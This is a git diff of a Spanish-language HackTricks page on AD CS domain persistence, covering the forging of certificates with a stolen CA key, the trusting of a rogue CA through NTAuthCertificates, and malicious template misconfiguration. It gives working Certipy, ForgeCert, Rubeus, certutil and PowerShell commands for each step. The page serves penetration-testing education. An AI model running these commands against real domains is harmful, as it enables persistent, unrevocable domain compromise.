## Referencias
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
|
@ -1,27 +1,27 @@
|
||||
# Persistencia de Dominio de AD CS
|
||||
# Persistencia de dominio en AD CS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Esto es un resumen de las técnicas de persistencia en el dominio compartidas en [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Consúltelo para más detalles.
|
||||
**Esto es un resumen de las técnicas de persistencia en dominio compartidas en [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Consúltalo para más detalles.
|
||||
|
||||
## Forjando certificados con certificados de CA robados - DPERSIST1
|
||||
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||
|
||||
¿Cómo se puede saber si un certificado es de CA?
|
||||
¿Cómo puedes determinar que un certificado es un certificado de CA?
|
||||
|
||||
Se puede determinar que un certificado es de CA si se cumplen varias condiciones:
|
||||
|
||||
- El certificado está almacenado en el servidor CA, con su clave privada asegurada por el DPAPI de la máquina, o por hardware como TPM/HSM si el sistema operativo lo soporta.
|
||||
- Los campos Issuer y Subject del certificado coinciden con el nombre distinguido de la CA.
|
||||
- Una extensión "CA Version" está presente exclusivamente en los certificados de la CA.
|
||||
- El certificado carece de campos Extended Key Usage (EKU).
|
||||
- El certificado está almacenado en el servidor CA, con su clave privada protegida por DPAPI de la máquina, o por hardware como un TPM/HSM si el sistema operativo lo soporta.
|
||||
- Tanto los campos Emisor (Issuer) como Sujeto (Subject) del certificado coinciden con el nombre distinguido de la CA.
|
||||
- Una extensión "CA Version" está presente exclusivamente en los certificados de CA.
|
||||
- El certificado carece de campos de Extended Key Usage (EKU).
|
||||
|
||||
Para extraer la clave privada de este certificado, la herramienta `certsrv.msc` en el servidor CA es el método soportado a través de la GUI integrada. No obstante, este certificado no difiere de otros almacenados en el sistema; por lo tanto, se pueden aplicar métodos como la técnica [THEFT2](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) para su extracción.
|
||||
Para extraer la clave privada de este certificado, la herramienta certsrv.msc en el servidor CA es el método soportado a través de la GUI incorporada. No obstante, este certificado no difiere de otros almacenados en el sistema; por lo tanto, métodos como la [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) pueden aplicarse para su extracción.
|
||||
|
||||
El certificado y la clave privada también pueden obtenerse usando Certipy con el siguiente comando:
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
Al obtener el certificado de la CA y su clave privada en formato `.pfx`, se pueden utilizar herramientas como [ForgeCert](https://github.com/GhostPack/ForgeCert) para generar certificados válidos:
|
||||
Tras adquirir el certificado de CA y su clave privada en formato `.pfx`, herramientas como [ForgeCert](https://github.com/GhostPack/ForgeCert) pueden utilizarse para generar certificados válidos:
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -36,18 +36,18 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
```
|
||||
> [!WARNING]
|
||||
> El usuario objetivo para la falsificación de certificados debe estar activo y ser capaz de autenticarse en Active Directory para que el proceso tenga éxito. Falsificar un certificado para cuentas especiales como krbtgt es ineficaz.
|
||||
> El usuario objeto de la falsificación de certificado debe estar activo y ser capaz de autenticarse en Active Directory para que el proceso tenga éxito. Falsificar un certificado para cuentas especiales como krbtgt no es efectivo.
|
||||
|
||||
Este certificado forjado será **válido** hasta la fecha de expiración especificada y mientras el certificado de la CA raíz sea válido (normalmente de 5 a **10+ años**). También es válido para **máquinas**, por lo que combinado con **S4U2Self**, un atacante puede **mantener persistencia en cualquier máquina del dominio** mientras el certificado de la CA sea válido.\ Además, los **certificados generados** con este método **no pueden ser revocados** ya que la CA no tiene conocimiento de ellos.
|
||||
Este certificado falsificado será **válido** hasta la fecha de caducidad especificada y mientras el certificado de la CA raíz sea válido (generalmente de 5 a **10+ años**). También es válido para **máquinas**, por lo que, combinado con **S4U2Self**, un atacante puede **mantener persistencia en cualquier máquina del dominio** durante todo el tiempo que el certificado de la CA sea válido.\ Además, los **certificados generados** con este método **no pueden ser revocados** ya que la CA no tiene conocimiento de ellos.
|
||||
|
||||
### Operando bajo Strong Certificate Mapping Enforcement (2025+)
|
||||
|
||||
Desde el 11 de febrero de 2025 (tras el despliegue de KB5014754), los controladores de dominio tienen por defecto **Full Enforcement** para los mapeos de certificados. Prácticamente, esto significa que tus certificados forjados deben o bien:
|
||||
Desde el 11 de febrero de 2025 (tras el despliegue de KB5014754), los controladores de dominio pasan a **Full Enforcement** por defecto para los mapeos de certificados. En la práctica esto significa que tus certificados falsificados deben cumplir una de las siguientes opciones:
|
||||
|
||||
- Contener un enlace fuerte con la cuenta objetivo (por ejemplo, la extensión de seguridad SID), o
|
||||
- Ir acompañados de un mapeo fuerte y explícito en el atributo `altSecurityIdentities` del objeto objetivo.
|
||||
- Contener un vínculo fuerte con la cuenta objetivo (por ejemplo, la SID security extension), o
|
||||
- Ir emparejado con un mapeo explícito y fuerte en el atributo `altSecurityIdentities` del objeto objetivo.
|
||||
|
||||
Un enfoque confiable para la persistencia es acuñar un certificado forjado encadenado a la Enterprise CA robada y luego añadir un mapeo explícito y fuerte al principal víctima:
|
||||
Un enfoque fiable para la persistencia es acuñar un certificado falsificado encadenado a la Enterprise CA robada y luego añadir un mapeo explícito y fuerte al principal de la víctima:
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
@ -56,17 +56,17 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
Notas
|
||||
- Si puedes crear certificados forjados que incluyan la extensión de seguridad `SID`, estos se mapearán implícitamente incluso bajo Full Enforcement. De lo contrario, prefiere mapeos explícitos y fuertes. Consulte
|
||||
[account-persistence](account-persistence.md) para más información sobre mapeos explícitos.
|
||||
- La revocación no ayuda a los defensores aquí: los certificados forjados son desconocidos para la base de datos de la CA y, por lo tanto, no pueden ser revocados.
|
||||
- Si puedes crear certificados forjados que incluyan la extensión de seguridad SID, éstos se mapearán implícitamente incluso bajo Full Enforcement. De lo contrario, prefiere mapeos explícitos y fuertes. Véase
|
||||
[account-persistence](account-persistence.md) para más sobre mapeos explícitos.
|
||||
- La revocación no ayuda a los defensores aquí: los certificados forjados son desconocidos para la base de datos de la CA y por tanto no pueden ser revocados.
|
||||
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
|
||||
El objeto `NTAuthCertificates` está definido para contener uno o más **CA certificates** dentro de su atributo `cacertificate`, que utiliza Active Directory (AD). El proceso de verificación por parte del **domain controller** implica comprobar el objeto `NTAuthCertificates` en busca de una entrada que coincida con la **CA specified** en el campo Issuer del **certificate** que autentica. La autenticación continúa si se encuentra una coincidencia.
|
||||
El objeto `NTAuthCertificates` está definido para contener uno o más **CA certificates** dentro de su atributo `cacertificate`, que utiliza Active Directory (AD). El proceso de verificación por parte del **domain controller** consiste en comprobar el objeto `NTAuthCertificates` en busca de una entrada que coincida con la **CA specified** en el campo Issuer del **certificate** que se está autenticando. La autenticación procede si se encuentra una coincidencia.
|
||||
|
||||
Un certificado CA autofirmado puede ser añadido al objeto `NTAuthCertificates` por un atacante, siempre que tenga control sobre este objeto de AD. Normalmente, solo los miembros del grupo **Enterprise Admin**, junto con **Domain Admins** o **Administrators** en el **forest root’s domain**, tienen permiso para modificar este objeto. Pueden editar el objeto `NTAuthCertificates` usando `certutil.exe` con el comando `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, o empleando la [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
Un certificado CA autofirmado puede añadirse al objeto `NTAuthCertificates` por un atacante, siempre que tenga control sobre este objeto de AD. Normalmente, solo a los miembros del grupo **Enterprise Admin**, junto con **Domain Admins** o **Administrators** en el dominio raíz del bosque, se les concede permiso para modificar este objeto. Pueden editar el objeto `NTAuthCertificates` usando `certutil.exe` con el comando `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, o empleando el [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
|
||||
Additional helpful commands for this technique:
|
||||
Comandos adicionales útiles para esta técnica:
|
||||
```bash
|
||||
# Add/remove and inspect the Enterprise NTAuth store
|
||||
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
|
||||
@ -77,33 +77,33 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
Esta capacidad es especialmente relevante cuando se usa en conjunto con un método descrito previamente que utiliza ForgeCert para generar certificados dinámicamente.
|
||||
Esta capacidad es especialmente relevante cuando se utiliza junto con un método descrito anteriormente que implica ForgeCert para generar certificados de forma dinámica.
|
||||
|
||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## Configuración maliciosa - DPERSIST3
|
||||
## Malicious Misconfiguration - DPERSIST3
|
||||
|
||||
Las oportunidades para **persistence** mediante modificaciones del descriptor de seguridad de los componentes de AD CS son abundantes. Las modificaciones descritas en la sección "[Domain Escalation](domain-escalation.md)" pueden ser implementadas maliciosamente por un atacante con acceso elevado. Esto incluye la adición de "control rights" (p. ej., WriteOwner/WriteDACL/etc.) a componentes sensibles como:
|
||||
Las oportunidades para persistencia a través de modificaciones de descriptor de seguridad de los componentes de AD CS son abundantes. Las modificaciones descritas en la sección "[Domain Escalation](domain-escalation.md)" pueden ser implementadas de forma maliciosa por un atacante con acceso elevado. Esto incluye la adición de "control rights" (p. ej., WriteOwner/WriteDACL/etc.) a componentes sensibles como:
|
||||
|
||||
- El objeto de equipo AD del **CA server**
|
||||
- El **CA server’s RPC/DCOM server**
|
||||
- Cualquier **objeto AD descendiente o contenedor** en **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (por ejemplo, el contenedor Certificate Templates, el contenedor Certification Authorities, el objeto NTAuthCertificates, etc.)
|
||||
- **Grupos de AD con derechos delegados para controlar AD CS** por defecto o por la organización (como el grupo incorporado Cert Publishers y cualquiera de sus miembros)
|
||||
- Cualquier **objeto o contenedor AD descendiente** en **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (por ejemplo, el contenedor Certificate Templates, el contenedor Certification Authorities, el objeto NTAuthCertificates, etc.)
|
||||
- **Grupos AD delegados con derechos para controlar AD CS** por defecto o por la organización (como el grupo incorporado Cert Publishers y cualquiera de sus miembros)
|
||||
|
||||
Un ejemplo de implementación maliciosa implicaría que un atacante, que tiene **permisos elevados** en el dominio, añada el permiso **`WriteOwner`** a la plantilla de certificado por defecto **`User`**, siendo el atacante el principal para ese derecho. Para explotarlo, el atacante primero cambiaría la propiedad (ownership) de la plantilla **`User`** a sí mismo. A continuación, se establecería el **`mspki-certificate-name-flag`** a **1** en la plantilla para habilitar **`ENROLLEE_SUPPLIES_SUBJECT`**, permitiendo que un usuario proporcione un Subject Alternative Name en la solicitud. Posteriormente, el atacante podría **enroll** usando la **template**, escogiendo un nombre de **domain administrator** como nombre alternativo, y utilizar el certificado adquirido para autenticarse como DA.
|
||||
Un ejemplo de implementación maliciosa involucraría a un atacante, que tiene **permisos elevados** en el dominio, añadiendo el permiso **`WriteOwner`** a la plantilla de certificado predeterminada **`User`**, siendo el atacante el principal para ese derecho. Para explotar esto, el atacante primero cambiaría la propiedad de la plantilla **`User`** a sí mismo. A continuación, se establecería el **`mspki-certificate-name-flag`** a **1** en la plantilla para habilitar **`ENROLLEE_SUPPLIES_SUBJECT`**, permitiendo que un usuario proporcione un Subject Alternative Name en la solicitud. Posteriormente, el atacante podría **enroll** usando la **template**, eligiendo un nombre de **domain administrator** como nombre alternativo, y utilizar el certificado obtenido para autenticarse como el DA.
|
||||
|
||||
Controles prácticos que los atacantes pueden configurar para persistence a largo plazo en el dominio (ver {{#ref}}domain-escalation.md{{#endref}} para detalles completos y detección):
|
||||
Perillas prácticas que los atacantes pueden configurar para persistencia a largo plazo en el dominio (ver {{#ref}}domain-escalation.md{{#endref}} para detalles completos y detección):
|
||||
|
||||
- Flags de política del CA que permiten SAN desde los solicitantes (p. ej., habilitar `EDITF_ATTRIBUTESUBJECTALTNAME2`). Esto mantiene rutas explotables similares a ESC1.
|
||||
- DACL o ajustes de la template que permitan emisión con capacidad de autenticación (p. ej., añadir Client Authentication EKU, habilitar `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controlar el objeto `NTAuthCertificates` o los contenedores del CA para reintroducir continuamente emisores rogue si los defensores intentan limpieza.
|
||||
- CA policy flags que permiten SAN desde los solicitantes (p. ej., habilitar `EDITF_ATTRIBUTESUBJECTALTNAME2`). Esto mantiene explotables rutas similares a ESC1.
|
||||
- Template DACL o configuraciones que permitan emisión con capacidad de autenticación (p. ej., añadir Client Authentication EKU, habilitar `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controlar el objeto `NTAuthCertificates` o los contenedores de la CA para reintroducir continuamente emisores maliciosos si los defensores intentan limpiar.
|
||||
|
||||
> [!TIP]
|
||||
> En entornos reforzados después de KB5014754, combinar estas malas configuraciones con mapeos fuertes explícitos (`altSecurityIdentities`) asegura que tus certificados emitidos o forjados sigan siendo utilizables incluso cuando los DCs apliquen strong mapping.
|
||||
> En entornos reforzados después de KB5014754, combinar estas misconfiguraciones con mapeos explícitos y fuertes (`altSecurityIdentities`) asegura que tus certificados emitidos o forjados sigan siendo utilizables incluso cuando los DCs aplican strong mapping.
|
||||
|
||||
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
Loading…
x
Reference in New Issue
Block a user